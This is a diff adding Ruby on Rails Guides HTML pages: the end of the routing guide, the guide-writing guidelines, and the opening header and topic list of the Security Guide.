+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos, :constraints =&gt; {:id =&gt; /[A-Z][A-Z][0-9]+/}
+</pre>
+</div>
+</notextile>
+
+<p>This declaration constrains the <tt>:id</tt> parameter to match the supplied regular expression. So, in this case, the router would no longer match <tt>/photos/1</tt> to this route. Instead, <tt>/photos/RR27</tt> would match.</p>
+<p>You can specify a single constraint to apply to a number of routes by using the block form:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+constraints(:id =&gt; /[A-Z][A-Z][0-9]+/) do
+  resources :photos
+  resources :accounts
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Of course, you can use the more advanced constraints available in non-resourceful routes in this context</p></div>
+<h4 id="overriding-the-named-helpers">4.3 Overriding the Named Helpers</h4>
+<p>The <tt>:as</tt> option lets you override the normal naming for the named route helpers. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos, :as =&gt; &quot;images&quot;
+</pre>
+</div>
+</notextile>
+
+<p>will recognize incoming paths beginning with <tt>/photos</tt> and route the requests to <tt>PhotosController</tt>:</p>
+<table>
+	<tr>
+		<th><span class="caps">HTTP</span> verb</th>
+		<th>Path          </th>
+		<th>action </th>
+		<th>named helper   </th>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/photos         </td>
+		<td>index    </td>
+		<td> images_path     </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/photos/new     </td>
+		<td>new      </td>
+		<td> new_image_path  </td>
+	</tr>
+	<tr>
+		<td><span class="caps">POST</span>       </td>
+		<td>/photos         </td>
+		<td>create   </td>
+		<td> images_path     </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/photos/1       </td>
+		<td>show     </td>
+		<td> image_path      </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/photos/1/edit  </td>
+		<td>edit     </td>
+		<td> edit_image_path </td>
+	</tr>
+	<tr>
+		<td><span class="caps">PUT</span>        </td>
+		<td>/photos/1       </td>
+		<td>update   </td>
+		<td> image_path      </td>
+	</tr>
+	<tr>
+		<td><span class="caps">DELETE</span>     </td>
+		<td>/photos/1       </td>
+		<td>destroy  </td>
+		<td> image_path      </td>
+	</tr>
+</table>
+<h4 id="overriding-the-new-and-edit-segments">4.4 Overriding the <tt>new</tt> and <tt>edit</tt> Segments</h4>
+<p>The <tt>:path_names</tt> option lets you override the automatically-generated &#8220;new&#8221; and &#8220;edit&#8221; segments in paths:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos, :path_names =&gt; { :new =&gt; 'make', :edit =&gt; 'change' }
+</pre>
+</div>
+</notextile>
+
+<p>This would cause the routing to recognize paths such as</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+/photos/make
+/photos/1/change
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>The actual action names aren&#8217;t changed by this option. The two paths shown would still route to the <tt>new</tt> and <tt>edit</tt> actions.</p></div>
+<div class='info'><p>If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope:</p></div>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+scope :path_names =&gt; { :new =&gt; &quot;make&quot; } do
+  # rest of your routes
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="prefixing-the-named-route-helpers">4.5 Prefixing the Named Route Helpers</h4>
+<p>You can use the <tt>:as</tt> option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+scope &quot;admin&quot; do
+  resources :photos, :as =&gt; &quot;admin_photos&quot;
+end
+
+resources :photos
+</pre>
+</div>
+</notextile>
+
+<p>This will provide route helpers such as <tt>admin_photos_path</tt>, <tt>new_admin_photo_path</tt> etc.</p>
+<p>To prefix a group of routes, use <tt>:as</tt> with <tt>scope</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+scope &quot;admin&quot;, :as =&gt; &quot;admin&quot; do
+  resources :photos, :accounts
+end
+
+resources :photos, :accounts
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>The <tt>namespace</tt> scope will automatically add <tt>:as</tt> as well as <tt>:module</tt> and <tt>:path</tt> prefixes.</p></div>
+<h4 id="restricting-the-routes-created">4.6 Restricting the Routes Created</h4>
+<p>By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune this behavior. The <tt>:only</tt> option tells Rails to create only the specified routes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos, :only =&gt; [:index, :show]
+</pre>
+</div>
+</notextile>
+
+<p>Now, a <tt>GET</tt> request to <tt>/photos</tt> would succeed, but a <tt>POST</tt> request to <tt>/photos</tt> (which would ordinarily be routed to the <tt>create</tt> action) will fail.</p>
+<p>The <tt>:except</tt> option specifies a route or list of routes that Rails should <em>not</em> create:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos, :except =&gt; :destroy
+</pre>
+</div>
+</notextile>
+
+<p>In this case, Rails will create all of the normal routes except the route for <tt>destroy</tt> (a <tt>DELETE</tt> request to <tt>/photos/:id</tt>).</p>
+<div class='info'><p>If your application has many RESTful routes, using <tt>:only</tt> and <tt>:except</tt> to generate only the routes that you actually need can cut down on memory use and speed up the routing process.</p></div>
+<h4 id="translated-paths">4.7 Translated Paths</h4>
+<p>Using <tt>scope</tt>, we can alter path names generated by resources:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+scope(:path_names =&gt; { :new =&gt; &quot;neu&quot;, :edit =&gt; &quot;bearbeiten&quot; }) do
+  resources :categories, :path =&gt; &quot;kategorien&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>Rails now creates routes to the <tt>CategoriesController</tt>.</p>
+<table>
+	<tr>
+		<th><span class="caps">HTTP</span> verb</th>
+		<th>Path                     </th>
+		<th>action </th>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/kategorien                </td>
+		<td>index    </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/kategorien/neu            </td>
+		<td>new      </td>
+	</tr>
+	<tr>
+		<td><span class="caps">POST</span>       </td>
+		<td>/kategorien                </td>
+		<td>create   </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/kategorien/1              </td>
+		<td>show     </td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>        </td>
+		<td>/kategorien/:id/bearbeiten </td>
+		<td>edit     </td>
+	</tr>
+	<tr>
+		<td><span class="caps">PUT</span>        </td>
+		<td>/kategorien/1              </td>
+		<td>update   </td>
+	</tr>
+	<tr>
+		<td><span class="caps">DELETE</span>     </td>
+		<td>/kategorien/1              </td>
+		<td>destroy  </td>
+	</tr>
+</table>
+<h4 id="overriding-the-singular-form">4.8 Overriding the Singular Form</h4>
+<p>If you want to define the singular form of a resource, you should add additional rules to the <tt>Inflector</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.irregular 'tooth', 'teeth'
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="nested-names">4.9 Using <tt>:as</tt> in Nested Resources</h4>
+<p>The <tt>:as</tt> option overrides the automatically-generated name for the resource in nested route helpers. For example,</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :magazines do
+  resources :ads, :as =&gt; 'periodical_ads'
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will create routing helpers such as <tt>magazine_periodical_ads_url</tt> and <tt>edit_magazine_periodical_ad_path</tt>.</p>
+<h3 id="inspecting-and-testing-routes">5 Inspecting and Testing Routes</h3>
+<p>Rails offers facilities for inspecting and testing your routes.</p>
+<h4 id="seeing-existing-routes-with-rake">5.1 Seeing Existing Routes with <tt>rake</tt></h4>
+<p>If you want a complete list of all of the available routes in your application, run <tt>rake routes</tt> command. This will print all of your routes, in the same order that they appear in <tt>routes.rb</tt>. For each route, you&#8217;ll see:</p>
+<ul>
+	<li>The route name (if any)</li>
+	<li>The <span class="caps">HTTP</span> verb used (if the route doesn&#8217;t respond to all verbs)</li>
+	<li>The <span class="caps">URL</span> pattern to match</li>
+	<li>The routing parameters for the route</li>
+</ul>
+<p>For example, here&#8217;s a small section of the <tt>rake routes</tt> output for a RESTful route:</p>
+<pre>
+          users GET  /users          {:controller=&gt;"users", :action=&gt;"index"}
+formatted_users GET  /users.:format  {:controller=&gt;"users", :action=&gt;"index"}
+                POST /users          {:controller=&gt;"users", :action=&gt;"create"}
+                POST /users.:format  {:controller=&gt;"users", :action=&gt;"create"}
+</pre>
+<p>You may restrict the listing to the routes that map to a particular controller setting the <tt>CONTROLLER</tt> environment variable:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ CONTROLLER=users rake routes
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>You&#8217;ll find that the output from <tt>rake routes</tt> is much more readable if you widen your terminal window until the output lines don&#8217;t wrap.</p></div>
+<h4 id="testing-routes">5.2 Testing Routes</h4>
+<p>Routes should be included in your testing strategy (just like the rest of your application). Rails offers three <a href="http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html">built-in assertions</a> designed to make testing routes simpler:</p>
+<ul>
+	<li><tt>assert_generates</tt></li>
+	<li><tt>assert_recognizes</tt></li>
+	<li><tt>assert_routing</tt></li>
+</ul>
+<h5 id="the-assert_generates-assertion">5.2.1 The <tt>assert_generates</tt> Assertion</h5>
+<p>Use <tt>assert_generates</tt> to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assert_generates &quot;/photos/1&quot;, { :controller =&gt; &quot;photos&quot;, :action =&gt; &quot;show&quot;, :id =&gt; &quot;1&quot; }
+assert_generates &quot;/about&quot;, :controller =&gt; &quot;pages&quot;, :action =&gt; &quot;about&quot;
+</pre>
+</div>
+</notextile>
+
+<h5 id="the-assert_recognizes-assertion">5.2.2 The <tt>assert_recognizes</tt> Assertion</h5>
+<p>The <tt>assert_recognizes</tt> assertion is the inverse of <tt>assert_generates</tt>. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assert_recognizes({ :controller =&gt; &quot;photos&quot;, :action =&gt; &quot;show&quot;, :id =&gt; &quot;1&quot; }, &quot;/photos/1&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>You can supply a <tt>:method</tt> argument to specify the <span class="caps">HTTP</span> verb:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assert_recognizes({ :controller =&gt; &quot;photos&quot;, :action =&gt; &quot;create&quot; }, { :path =&gt; &quot;photos&quot;, :method =&gt; :post })
+</pre>
+</div>
+</notextile>
+
+<p>You can also use the resourceful helpers to test recognition of a RESTful route:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assert_recognizes new_photo_url, { :path =&gt; &quot;photos&quot;, :method =&gt; :post }
+</pre>
+</div>
+</notextile>
+
+<h5 id="the-assert_routing-assertion">5.2.3 The <tt>assert_routing</tt> Assertion</h5>
+<p>The <tt>assert_routing</tt> assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of <tt>assert_generates</tt> and <tt>assert_recognizes</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assert_routing({ :path =&gt; &quot;photos&quot;, :method =&gt; :post }, { :controller =&gt; &quot;photos&quot;, :action =&gt; &quot;create&quot; })
+</pre>
+</div>
+</notextile>
+
+<h3 id="changelog">6 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3">Lighthouse ticket</a></p>
+<ul>
+	<li>April 10, 2010: Updated guide to remove outdated and superfluous information, and to provide information about new features, by <a href="http://www.yehudakatz.com">Yehuda Katz</a></li>
+	<li>April 2, 2010: Updated guide to match new Routing <span class="caps">DSL</span> in Rails 3, by <a href="http://www.rizwanreza.com/">Rizwan Reza</a></li>
+	<li>Febuary 1, 2010: Modifies the routing documentation to match new routing <span class="caps">DSL</span> in Rails 3, by Prem Sichanugrist</li>
+	<li>October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>September 23, 2008: Added section on namespaced controllers and routing, by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>September 10, 2008: initial version by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/ruby_on_rails_guides_guidelines.html
@@ -0,0 +1,201 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Ruby on Rails Guides Guidelines</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Ruby on Rails Guides Guidelines</h2>
+<p>This guide documents guidelines for writing guides. This guide follows itself in a gracile loop.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#textile">Textile</a></li><li><a href="#prologue">Prologue</a></li><li><a href="#titles">Titles</a></li><li><a href="#api-documentation-guidelines"><span class="caps">API</span> Documentation Guidelines</a></li><li><a href="#html-generation"><span class="caps">HTML</span> Generation</a></li><li><a href="#html-validation"><span class="caps">HTML</span> validation</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="textile">1 Textile</h3>
+<p>Guides are written in <a href="http://www.textism.com/tools/textile/">Textile</a>. There&#8217;s comprehensive documentation <a href="http://redcloth.org/hobix.com/textile/">here</a> and a cheatsheet for markup <a href="http://redcloth.org/hobix.com/textile/quick.html">here</a>.</p>
+<h3 id="prologue">2 Prologue</h3>
+<p>Each guide should start with motivational text at the top. That&#8217;s the little introduction in the blue area. The prologue should tell the readers what&#8217;s the guide about, and what will they learn. See for example the <a href="routing.html">Routing Guide</a>.</p>
+<h3 id="titles">3 Titles</h3>
+<p>The title of every guide uses <tt>h2</tt>, guide sections use <tt>h3</tt>, subsections <tt>h4</tt>, etc.</p>
+<p>Capitalize all words except for internal articles, prepositions, conjuctions, and forms of the verb to be:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+h5. Middleware Stack is an Array
+h5. When are Objects Saved?
+</pre>
+</div>
+</notextile>
+
+<p>Use same typography as in regular text:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+h6. The +:content_type+ Option
+</pre>
+</div>
+</notextile>
+
+<h3 id="api-documentation-guidelines">4 <span class="caps">API</span> Documentation Guidelines</h3>
+<p>The guides and the <span class="caps">API</span> should be coherent where appropriate. Please have a look at these particular sections of the <a href="api_documentation_guidelines.html"><span class="caps">API</span> Documentation Guidelines</a>:</p>
+<ul>
+	<li><a href="api_documentation_guidelines.html#wording">Wording</a></li>
+	<li><a href="api_documentation_guidelines.html#example-code">Example Code</a></li>
+	<li><a href="api_documentation_guidelines.html#filenames">Filenames</a></li>
+	<li><a href="api_documentation_guidelines.html#fonts">Fonts</a></li>
+</ul>
+<p>Those guidelines apply also to guides.</p>
+<h3 id="html-generation">5 <span class="caps">HTML</span> Generation</h3>
+<p>To generate all the guides just cd into the <tt>railties</tt> directory and execute</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake generate_guides
+</pre>
+</div>
+</notextile>
+
+<p>You&#8217;ll need the gems erubis, i18n, and RedCloth.</p>
+<p>To process <tt>my_guide.textile</tt> and nothing else use the <tt>ONLY</tt> environment variable:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake generate_guides ONLY=my_guide
+</pre>
+</div>
+</notextile>
+
+<p>Although by default guides that have not been modified are not processed, so <tt>ONLY</tt> is rarely needed in practice.</p>
+<p>To force process of al the guides pass <tt>ALL=1</tt>.</p>
+<p>It is also recommended that you work with <tt>WARNINGS=1</tt>, this detects duplicate IDs and warns about broken internal links.</p>
+<h3 id="html-validation">6 <span class="caps">HTML</span> validation</h3>
+<p>Please do validate the generated <span class="caps">HTML</span> with</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake validate_guides
+</pre>
+</div>
+</notextile>
+
+<p>Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set <tt>WARNINGS=1</tt> when generating guides to detect them. The warning messages suggest a way to fix them.</p>
+<h3 id="changelog">7 Changelog</h3>
+<ul>
+	<li>October 5, 2010: ported from the docrails wiki and revised by <a href="credits.html#fxn">Xavier Noria</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/security.html
@@ -0,0 +1,1100 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Ruby On Rails Security Guide</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Ruby On Rails Security Guide</h2>
+<p>This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
+mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:</p>
+<ul>
+	<li>All countermeasures <em class="highlight">that are highlighted</em></li>
+	<li>The concept of sessions in Rails, what to put in there and popular attack methods</li>
+	<li>How just visiting a site can be a security problem (with <span class="caps">CSRF</span>)</li>
+	<li>What you have to pay attention to when working with files or providing an administration interface</li>
+	<li>The Rails-specific mass assignment problem</li>
+	<li>How to manage users: Logging in and out and attack methods on all layers</li>
+	<li>And the most popular injection attack methods</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
